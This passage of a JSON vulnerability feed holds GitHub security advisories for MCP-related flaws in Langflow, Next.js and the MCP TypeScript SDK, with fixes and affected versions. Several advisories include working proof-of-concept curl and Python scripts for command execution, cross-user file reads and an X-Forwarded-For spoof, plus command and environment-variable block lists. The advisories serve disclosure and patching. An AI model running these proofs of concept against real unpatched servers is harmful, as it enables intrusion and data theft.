Server\" vector reported here.\n- **1.10.3** — #14036 applied the same policy at the execution sink (`lfx.base.mcp.util`), including configs embedded in flows / tweaks and the final pre-spawn boundary, and removed the `bash -c` wrapper (the process is now exec'd directly, without a shell).\n\n### Affected versions\n\n| Package (PyPI) | Vulnerable | Patched |\n|---|---|---|\n| `langflow` | `>= 1.1.2, < 1.10.3` | `1.10.3` |\n| `langflow-base` | `>= 0.1.2, < 0.10.3` | `0.10.3` |\n| `lfx` | `< 1.10.3` | `1.10.3` |\n\n| Release | State |\n|---|---|\n| `1.1.2` – `1.4.x` | MCP Stdio component (added in #5148) runs `StdioServerParameters(command=..., args=...)` from the component's `command` field with no validation. |\n| `1.5.0` – `1.8.x` | \"Add MCP Server\" settings page and `/api/v2/mcp/servers` API added (#8388). Stored stdio configs are launched via `bash -c \"exec {command_str} ...\"` with no validation. The PoC below works as-is. |\n| `1.9.0` – `1.10.2` | #12290: `POST`/`PATCH /api/v2/mcp/servers` reject commands outside the allowlist. The execution sink still has no validation and still uses `bash -c`, so configs that do not go through `MCPServerConfig` (for example an MCP Tools component value embedded in a flow or passed as a tweak) can still execute arbitrary commands. |\n| `1.10.3`+ | #14036: one shared policy (`lfx.base.mcp.security.validate_mcp_stdio_config`) is enforced at the API, at flow execution and right before the process is spawned; no shell is used. **Fixed.** |\n\n### Details\n\nVulnerable sink (`src/lfx/src/lfx/base/mcp/util.py`, `MCPStdioClient._connect_to_server`, before 1.10.3):\n\n```python\nserver_params = StdioServerParameters(\n    command=\"bash\",\n    args=[\"-c\", f\"exec {command_str} || echo 'Command failed with exit code $?' >&2\"],\n    env=env_data,\n)\n```\n\n`command_str` is built from the user's `command` + `args`. The only \"validation\" before 1.9.0 was `_validate_node_installation`, which only checks that Node.js is installed when the command contains `npx`. The MCP SDK then starts the process with `anyio.open_process`, so the command runs before any MCP handshake — which is why it executes even if the UI shows \"failed to start\".\n\n### PoC (as reported, Langflow 1.5.0 – 1.8.x)\n\nIn \"Add MCP Server\" → STDIO, add:\n\n```\nName      - Test\nCommand   - touch\nArguments - /tmp/pwn\n```\n\nOr through the API, using a token from `auto_login` (default configuration):\n\n```bash\nTOKEN=$(curl -s http://127.0.0.1:7860/api/v1/auto_login | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\ncurl -s -X POST 'http://127.0.0.1:7860/api/v2/mcp/servers/testing' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  --data-raw '{\"command\":\"touch\",\"args\":[\"/tmp/pwned_langflow\"]}'\n```\n\n`/tmp/pwned_langflow` gets created on the server. On 1.10.3+ the request is rejected with `Command 'touch' is not allowed for security reasons. Allowed commands: bash, cmd, docker, node, npx, python, python3, uvx`, and the same payload fails at the sink (`MCPStdioClient.connect_to_server(\"touch /tmp/pwned_langflow\")` raises `MCPStdioSecurityError`, and no file is created). Wrappers such as `bash -c \"touch ...\"`, `sh -c ...`, `python3 -c ...` and `node -e ...` are also rejected.\n\n### Fix\n\n- **#12290** (1.9.0) — `MCPServerConfig` validators: command allowlist (`node`, `python`, `python3`, `npx`, `uvx`, `docker`, and `cmd`/`sh`/`bash` only to wrap one of those), shell-metacharacter and dangerous-keyword checks on arguments, env var blocklist (`LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, ...), and Docker isolation checks.\n- **#14036** (1.10.3) — moves the policy into `lfx.base.mcp.security.validate_mcp_stdio_config` and enforces it at every entry point (API, embedded flow / tweak configs, the deprecated MCP Stdio component and just before spawn); it also launches the process without a shell:\n\n```python\ncommand_parts = shlex.split(command_str)\ncommand, args = command_parts[0], command_parts[1:]\nvalidate_mcp_stdio_config(command, args, env)   # final pre-spawn enforcement\nserver_params = StdioServerParameters(command=command, args=final_args, env=env_data)\n```\n\nLater hardening (1.11.0, #13530) adds optional stricter modes for multi-tenant deployments.\n\n### Workarounds (if you cannot upgrade)\n\n- Set `LANGFLOW_AUTO_LOGIN=false` and do not expose Langflow directly to untrusted networks.\n- Only give Langflow accounts to trusted users.\n\n### Hardening recommendations for 1.10.3+\n\nThe allowlist still lets `npx` / `uvx` run any package by default, which is how MCP servers are normally distributed. On multi-tenant deployments, operators should also set:\n\n- `LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES` — the exact packages `npx` / `uvx` may run.\n- `LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true` and `LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true`.\n- On 1.11.1+ (#14150), restricting custom code (`LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false`, `LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true` or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) also limits MCP stdio servers to superusers.\n\n### Impact\n\nRemote code execution on the Langflow host as the Langflow process user (CWE-78). Any exposed instance on a vulnerable version is affected, whether the attacker has an account or uses the default `AUTO_LOGIN`. The reporter found several internet-facing Langflow servers that were vulnerable.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-105697\">https://nvd.nist.gov/vuln/detail/CVE-2026-105697</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/12290\">https://github.com/langflow-ai/langflow/pull/12290</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/14036\">https://github.com/langflow-ai/langflow/pull/14036</a></li>\n</ul></p>",
      "date_published": "2026-10-07T20:36:35Z",
      "date_modified": "2026-10-07T20:36:36Z",
      "tags": [
        "UNKNOWN",
        "langflow",
        "langflow-base",
        "lfx"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-4hmc-cfm3-w43c",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c",
      "title": "[UNKNOWN] GHSA-4hmc-cfm3-w43c: Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers",
      "summary": "Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-4hmc-cfm3-w43c</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> langflow</p>\n<p><strong>Details:</strong><br>### Summary\nLangflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.\n\nThis is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces.\n\n### Details\nVerified against local checkout:\n\n- Repository: `langflow-ai/langflow`\n- Verified on release tag: `v1.8.3`\n- Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e`\n- Earliest stable release known to contain the vulnerable code path: `v1.6.8`\n\nRelevant code path:\n\n1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193`\n   `verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL.\n\n2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241`\n   The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`.\n\n3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182`\n   `handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls:\n\n   ```python\n   storage_service.get_file(flow_id=flow_id, file_name=filename)\n   ```\n\n   No check ties the supplied `flow_id` back to the authenticated user or the current project.\n\n4. `src/backend/base/langflow/services/storage/local.py:141-149`\n   `src/backend/base/langflow/services/storage/s3.py:200-217`\n   The storage layer performs a raw namespace read and is not authorization-aware.\n\nThe result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.\n\nThis issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:\n\n- `src/backend/base/langflow/api/v1/mcp_utils.py:102-121`\n  `handle_list_resources(project_id=None)` lists files for all flows.\n- `src/backend/base/langflow/api/v1/mcp_utils.py:333-380`\n  `handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata.\n\nThat global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.\n\n### PoC\nPreconditions:\n\n- Langflow is running locally with authentication enabled.\n- Two separate users exist on the same instance.\n- The victim has a flow with an uploaded file.\n- The attacker has access to any project they own.\n\nVerify the issue locally by starting Langflow with:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'\n\nset -a\nsource .env.verify\nset +a\n\nexport LANGFLOW_CONFIG_DIR=\"$PWD/.langflow-verify\"\n\nuv run python - <<'PY'\nfrom langflow.main import setup_app\nimport uvicorn\n\napp = setup_app(backend_only=True)\nuvicorn.run(app, host=\"127.0.0.1\", port=7860, log_level=\"debug\")\nPY\n```\n\nThen, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:\n\n- the normal file download route is blocked for the attacker (`404`)\n- the same file is readable through the attacker's own project-scoped MCP connection\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'\nset -euo pipefail\n\nexport BASE='http://127.0.0.1:7860'\nexport PASS='Passw0rd!Passw0rd!'\nexport VICTIM_USER=\"victim.$RANDOM@example.com\"\nexport ATTACKER_USER=\"attacker.$RANDOM@example.com\"\n\ncurl -sS -X POST \"$BASE/api/v1/users/\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"username\\\":\\\"$VICTIM_USER\\\",\\\"password\\\":\\\"$PASS\\\"}\" >/dev/null\n\ncurl -sS -X POST \"$BASE/api/v1/users/\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"username\\\":\\\"$ATTACKER_USER\\\",\\\"password\\\":\\\"$PASS\\\"}\" >/dev/null\n\nexport VICTIM_TOKEN=$(\n  curl -sS -X POST \"$BASE/api/v1/login\" \\\n    -H 'Content-Type: application/x-www-form-urlencoded' \\\n    --data-urlencode \"username=$VICTIM_USER\" \\\n    --data-urlencode \"password=$PASS\" | jq -r '.access_token'\n)\n\nexport ATTACKER_TOKEN=$(\n  curl -sS -X POST \"$BASE/api/v1/login\" \\\n    -H 'Content-Type: application/x-www-form-urlencoded' \\\n    --data-urlencode \"username=$ATTACKER_USER\" \\\n    --data-urlencode \"password=$PASS\" | jq -r '.access_token'\n)\n\nexport VICTIM_PROJECT_ID=$(\n  curl -sS -X POST \"$BASE/api/v1/projects/\" \\\n    -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"victim-project\"}' | jq -r '.id'\n)\n\nexport ATTACKER_PROJECT_ID=$(\n  curl -sS -X POST \"$BASE/api/v1/projects/\" \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"attacker-project\"}' | jq -r '.id'\n)\n\nexport VICTIM_FLOW_ID=$(\n  curl -sS -X POST \"$BASE/api/v1/flows/\" \\\n    -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"name\\\":\\\"victim-flow\\\",\\\"data\\\":{\\\"nodes\\\":[],\\\"edges\\\":[]},\\\"folder_id\\\":\\\"$VICTIM_PROJECT_ID\\\"}\" \\\n    | jq -r '.id'\n)\n\nprintf 'cross-project-read-proof\\n' > /tmp/secret.txt\n\nexport UPLOAD_JSON=$(\n  curl -sS -X POST \"$BASE/api/v1/files/upload/$VICTIM_FLOW_ID\" \\\n    -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n    -F \"file=@/tmp/secret.txt\"\n)\n\nexport VICTIM_FILE=$(\n  printf '%s' \"$UPLOAD_JSON\" | jq -r '.file_path | split(\"/\") | last'\n)\n\nexport VICTIM_URI=\"$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE\"\n\nexport ATTACKER_API_KEY=$(\n  curl -sS -X POST \"$BASE/api/v1/api_key/\" \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"attacker-mcp-key\"}' | jq -r '.api_key'\n)\n\nexport DIRECT_STATUS=$(\n  curl -sS -o /dev/null -w '%{http_code}' \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    \"$VICTIM_URI\"\n)\n\nexport MCP_READ_OUTPUT=$(\nuv run python - <<'PY'\nimport asyncio\nimport base64\nimport os\n\nimport httpx\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamable_http_client\n\nbase = os.environ[\"BASE\"]\nproject_id = os.environ[\"ATTACKER_PROJECT_ID\"]\napi_key = os.environ[\"ATTACKER_API_KEY\"]\nvictim_uri = os.environ[\"VICTIM_URI\"]\nurl = f\"{base}/api/v1/mcp/project/{project_id}/streamable\"\n\nasync def main():\n    async with httpx.AsyncClient(headers={\"x-api-key\": api_key}, timeout=30.0) as client:\n        async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):\n            async with ClientSession(read_stream, write_stream) as session:\n                await session.initialize()\n                result = await session.read_resource(victim_uri)\n                blob = result.contents[0].blob\n                print(base64.b64decode(base64.b64decode(blob)).decode().strip())\n\nasyncio.run(main())\nPY\n)\n\necho \"Direct /files/download as attacker -> $DIRECT_STATUS\"\necho \"Project-scoped MCP resources/read -> $MCP_READ_OUTPUT\"\n```\n\nExpected output:\n\n```text\nDirect /files/download as attacker -> 404\nProject-scoped MCP resources/read -> cross-project-read-proof\n```\n\nObserved server logs during verification:\n\n```text\nGET /api/v1/files/download/... 404 Not Found\nPOST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK\nPOST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted\nPOST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK\n```\n\n### Impact\nThis is an authenticated IDOR / arbitrary file read issue in the MCP layer.\n\nAny authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`.\n\nPractical impact includes:\n\n- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts\n- Unauthorized access to sensitive business data stored in flow namespaces\n- Easier exploitation when global MCP helpers reveal other users' flow IDs and file names\n\n### Suggested Remediations\n1. Authorize `resources/read` against the authenticated context before calling storage.\n   Resolve `flow_id` to a database object and require both:\n   `flow.user_id == current_user.id`\n   and, for project-scoped transports, `flow.folder_id == current_project_id`.\n\n2. Stop trusting arbitrary file-download URIs as resource identifiers.\n   Instead, return opaque server-generated resource IDs from `resources/list` and resolve them server-side to an already authorized object.\n\n3. Scope global MCP enumeration helpers to the authenticated user.\n   `handle_list_resources()` and `handle_list_tools()` should not query all flows when `project_id=None`; they should return only flows owned by the current user, or require elevated privileges for broader discovery.\n\n\n\n### Fix Status (Maintainer Triage Update — 2026-09-22)\n\nThis report is accurate. The vulnerable code path described above (missing\nownership check in `handle_read_resource()`) has since been fixed.\n\n**Corrected affected version range:** `>= 1.6.8, <= 1.9.0` (not `<= 1.8.3` —\nconfirmed still vulnerable through `v1.9.0`; the fix landed with the `v1.9.1`\nrelease, not later).\n\n**Fixed in:** `v1.9.1` (GitHub Release published 2026-04-24), via PR\n[#12818 — \"fix(mcp): close path traversal + cross-user disclosure (PVR0754098)\"](https://github.com/langflow-ai/langflow/pull/12818).\n- Backport commit on `release-1.9.1`: `f0fd436fe9829192ee550e6cb46961a01dd37032`\n- Corresponding commit on `main`: `b8fe970493fd5fb2e1fc71dfccc79f90b76058fa`\n\nThe fix:\n- `handle_read_resource()` now requires an authenticated user context and\n  resolves the namespace segment of the URI to a `Flow` row scoped to\n  `Flow.user_id == current_user.id`, additionally filtering on\n  `Flow.folder_id == project_id` for project-scoped MCP servers\n  (`src/backend/base/langflow/api/v1/mcp_utils.py`).\n- Rejects filenames containing `..`, `/`, or `\\` as defense-in-depth against\n  path traversal, and applies the same containment check to the storage\n  layer's `get_file`/`get_file_stream`/`delete_file`/`get_file_size`\n  (`local.py`/`s3.py`, both in `langflow` and `lfx`).\n- `handle_list_resources()` / `handle_list_tools()` are now scoped to\n  `current_user.id` on the global (non-project) MCP server, closing the\n  cross-user enumeration this report also flagged.\n\nVerified independently against `langflow-ai/langflow` @ `89444c3bb5`\n(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and\nthe regression suite (`src/backend/tests/unit/api/v1/test_mcp_utils.py`,\n21/21 passing) includes `test_handle_read_resource_denies_other_users_flow`,\nwhich reproduces this report's exact cross-user scenario and asserts it now\nraises `ValueError(\"... access denied\")`.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-105699\">https://nvd.nist.gov/vuln/detail/CVE-2026-105699</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/12818\">https://github.com/langflow-ai/langflow/pull/12818</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa\">https://github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa</a></li>\n</ul></p>",
      "date_published": "2026-10-07T20:35:12Z",
      "date_modified": "2026-10-07T20:35:13Z",
      "tags": [
        "UNKNOWN",
        "langflow"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-39w2-rjm5-chcv",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-39w2-rjm5-chcv",
      "title": "[UNKNOWN] GHSA-39w2-rjm5-chcv: Next.js has information disclosure in development server's Model Context Protocol endpoint",
      "summary": "Next.js has information disclosure in development server's Model Context Protocol endpoint",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-39w2-rjm5-chcv</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> next</p>\n<p><strong>Details:</strong><br>The Next.js development server (`next dev`) exposes a Model Context Protocol endpoint that does not verify which website a request originates from, allowing a malicious website visited by the developer to read sensitive development data — including the project's location on disk, source code snippets from error reports, the route inventory, and development logs. Only applications run with `next dev` are affected. Production deployments do not serve this endpoint.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/vercel/next.js/security/advisories/GHSA-39w2-rjm5-chcv\">https://github.com/vercel/next.js/security/advisories/GHSA-39w2-rjm5-chcv</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-94486\">https://nvd.nist.gov/vuln/detail/CVE-2026-94486</a></li>\n<li><a href=\"https://github.com/vercel/next.js/commit/2d9f50a409312696145b82b3157aadb6b1fef476\">https://github.com/vercel/next.js/commit/2d9f50a409312696145b82b3157aadb6b1fef476</a></li>\n<li><a href=\"https://github.com/vercel/next.js/releases/tag/v16.3.8\">https://github.com/vercel/next.js/releases/tag/v16.3.8</a></li>\n</ul></p>",
      "date_published": "2026-10-07T20:31:51Z",
      "date_modified": "2026-10-07T20:31:52Z",
      "tags": [
        "UNKNOWN",
        "next"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:GHSA-4f6c-2vvp-gw82",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82",
      "title": "[UNKNOWN] GHSA-4f6c-2vvp-gw82: Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write",
      "summary": "Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write",
      "content_html": "<p><strong>Vulnerability ID:</strong> GHSA-4f6c-2vvp-gw82</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> langflow</p>\n<p><strong>Details:</strong><br>**Description**:\n### Summary\nAn IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (`POST /api/v1/mcp/project/{project_id}/install`) allowed authenticated remote attackers to bypass the \"local-only\" access restriction. By sending a spoofed `X-Forwarded-For: 127.0.0.1` header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.\n\n### Details\nThe vulnerability lived in the `get_client_ip` helper, used to enforce the local-only gate for `install_mcp_config`. It trusted the leftmost (fully client-controlled) entry of `X-Forwarded-For` unconditionally, with no check for whether the request had actually passed through a trusted proxy.\n\n**Vulnerable code (introduced by commit `d3d06be8e5`, first released in v1.5.0):** `src/backend/base/langflow/api/v1/mcp_projects.py`\n\n```python\ndef get_client_ip(request: Request) -> str:\n    # Check for X-Forwarded-For header (common when behind proxies)\n    forwarded_for = request.headers.get(\"X-Forwarded-For\")\n    if forwarded_for:\n        # The client IP is the first one in the list\n        return forwarded_for.split(\",\")[0].strip()\n    if request.client:\n        return request.client.host\n    return \"255.255.255.255\"\n\n\n@router.post(\"/{project_id}/install\")\nasync def install_mcp_config(\n    project_id: UUID,\n    body: MCPInstallRequest,        # {client: str, transport: \"sse\" | \"streamablehttp\" | None}\n    request: Request,\n    current_user: CurrentActiveMCPUser,\n):\n    client_ip = get_client_ip(request)\n    if not is_local_ip(client_ip):\n        raise HTTPException(status_code=500, detail=\"MCP configuration can only be installed from a local connection\")\n    ...\n```\n\n**Correction vs. the original report:** the request body accepted by this endpoint is `MCPInstallRequest {client: str, transport: str | None}` (`src/backend/base/langflow/api/v1/schemas/__init__.py`). There is no `mcp_path` field, and the destination path is never attacker-supplied. `install_mcp_config` resolves the write target itself, via `get_config_path(body.client)`, to one of a fixed, small set of well-known per-OS developer-tool config paths under the server process's home directory: `~/.cursor/mcp.json` (Cursor), `~/.codeium/windsurf/mcp_config.json` (Windsurf), or the Claude Desktop config (`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS, `%APPDATA%\\Claude\\claude_desktop_config.json` on Windows/WSL). The impact is therefore \"attacker-influenced content written into one of these fixed files,\" not an arbitrary-path write.\n\n### PoC\n1. Authenticate to obtain a valid access token.\n2. Identify a `project_id` the attacker has access to.\n3. Send:\n   ```bash\n   curl -X POST \"http://<server-ip>:7860/api/v1/mcp/project/<project_id>/install\" \\\n        -H \"Authorization: Bearer <token>\" \\\n        -H \"X-Forwarded-For: 127.0.0.1\" \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\"client\": \"cursor\"}'\n   ```\n4. The server returns `200 OK` and writes/overwrites `~/.cursor/mcp.json` on the host with an attacker-influenced MCP server entry, despite the request originating from a remote, non-local address.\n\n### Impact\nAuthenticated Remote Configuration Write to one of a fixed set of IDE/MCP client config files on the host. Could be leveraged to:\n- Inject a malicious MCP server definition into Cursor/Windsurf/Claude Desktop config, so a local developer who later opens that IDE on the host connects to an attacker-controlled MCP server.\n- Disrupt or corrupt the existing MCP configuration for those tools.\n- Bypass an intended network-boundary control (\"local-only\").\n\n### Status: already fixed\nThis exact bypass (single-line, comma-separated `X-Forwarded-For` spoofing, default configuration) is fixed as of:\n- **Fix PR:** langflow-ai/langflow#13915 — \"fix(security): stop trusting X-Forwarded-For for the MCP install locality check\", landed as part of the broader hardening effort in langflow-ai/langflow#13530.\n- **Fix:** `get_client_ip` now uses the real TCP peer (`request.client.host`) by default and ignores `X-Forwarded-For` entirely unless the operator has explicitly opted in via the `rate_limit_trust_proxy` setting (default `False`); when opted in, it takes the **rightmost** entry, mirroring `langflow.services.rate_limit.service.get_client_ip`.\n- **Released in:** v1.11.0, and backported to v1.10.3 (langflow-ai/langflow#14071).\n- **Related follow-up:** a narrower, related bypass — reachable only when an operator has explicitly set `rate_limit_trust_proxy=true` behind a proxy that emits `X-Forwarded-For` as repeated header lines rather than a single comma-separated line (e.g. HAProxy's `option forwardfor`) — was separately closed by langflow-ai/langflow#14425, released in v1.11.3. This does not affect default deployments (`rate_limit_trust_proxy` defaults to `False`).\n- This report is a near-duplicate of GHSA-qvvj-g573-9638, which describes the same root cause and is fixed by the same PR.\n\n### Affected versions\n- The vulnerable endpoint/helper was introduced in **v1.5.0** (langflow-ai/langflow#8271, \"add one click install to mcp servers on specific clients\", 2025-07-08). Versions prior to v1.5.0 do not contain this endpoint and are not affected by this issue.\n- **Vulnerable:** >= 1.5.0, < 1.10.3 (and < 1.11.0 on mainline).\n- **Fixed:** v1.10.3 (backport) and v1.11.0 onward.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82\">https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82</a></li>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-105741\">https://nvd.nist.gov/vuln/detail/CVE-2026-105741</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/pull/13915\">https://github.com/langflow-ai/langflow/pull/13915</a></li>\n<li><a href=\"https://github.com/langflow-ai/langflow/commit/1f39a4b9d62c9dfa1b21fa7f85e23a180c351b72\">https://github.com/langflow-ai/langflow/commit/1f39a4b9d62c9dfa1b21fa7f85e23a180c351b72</a></li>\n</ul></p>",
      "date_published": "2026-10-07T16:18:23Z",
      "date_modified": "2026-10-07T16:18:25Z",
      "tags": [
        "UNKNOWN",
        "langflow"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-104850",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h",
      "title": "[UNKNOWN] CVE-2026-104850: MCP TypeScript SDK is the official TypeScript SDK for Model Context Protocol servers and clients. Starting in version 1.",
      "summary": "MCP TypeScript SDK is the official TypeScript SDK for Model Context Protocol servers and clients. Starting in version 1.",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-104850</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> @modelcontextprotocol/sdk, @modelcontextprotocol/client, unknown</p>\n<p><strong>Details:</strong><br>### Summary\nIn affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to.\n\nA malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it:\n\n- the `refresh_token` and `client_secret` stored from an earlier sign-in\n- the `client_secret` or signed assertion configured on a bundled provider\n\n### Am I affected?\nYes, if both of these hold:\n\n- your application uses the SDK's OAuth client over HTTP, through any of:\n    - an `authProvider` on a transport\n    - the `withOAuth()` middleware\n    - direct calls to `auth()` or `fetchToken()`\n- it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1\n- `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for:\n    - bundled providers without `expectedIssuer`\n    - credentials stored or supplied without `issuer`\n    - direct calls to `fetchToken()`\n    - providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema`\n\nNot affected:\n\n- MCP servers built with the SDK\n- stdio clients\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later\n- 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly\n\nThe client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws.\n\nIn the following cases, upgrading to the patched version is not enough. You also need to make a change:\n\n- **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names.\n- **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again.\n- **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns.\n\nNot covered by this fix:\n\n- a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust.\n- `refreshAuthorization()` and `exchangeAuthorization()` called directly\n- 2.x with `skipIssuerMetadataValidation: true`\n\nIf an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens.\n\nIf you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h\">https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/pull/2887\">https://github.com/modelcontextprotocol/typescript-sdk/pull/2887</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/commit/edd12e282620ebf770d67316f19cf91d4112a1bd\">https://github.com/modelcontextprotocol/typescript-sdk/commit/edd12e282620ebf770d67316f19cf91d4112a1bd</a></li>\n<li><a href=\"https://github.com/modelcontextprotocol/typescript-sdk/releases/tag/v2.2.0\">https://github.com/modelcontextprotocol/typescript-sdk/releases/tag/v2.2.0</a></li>\n</ul></p>",
      "date_published": "2026-10-06T15:35:44Z",
      "date_modified": "2026-10-06T20:03:40.690Z",
      "tags": [
        "UNKNOWN",
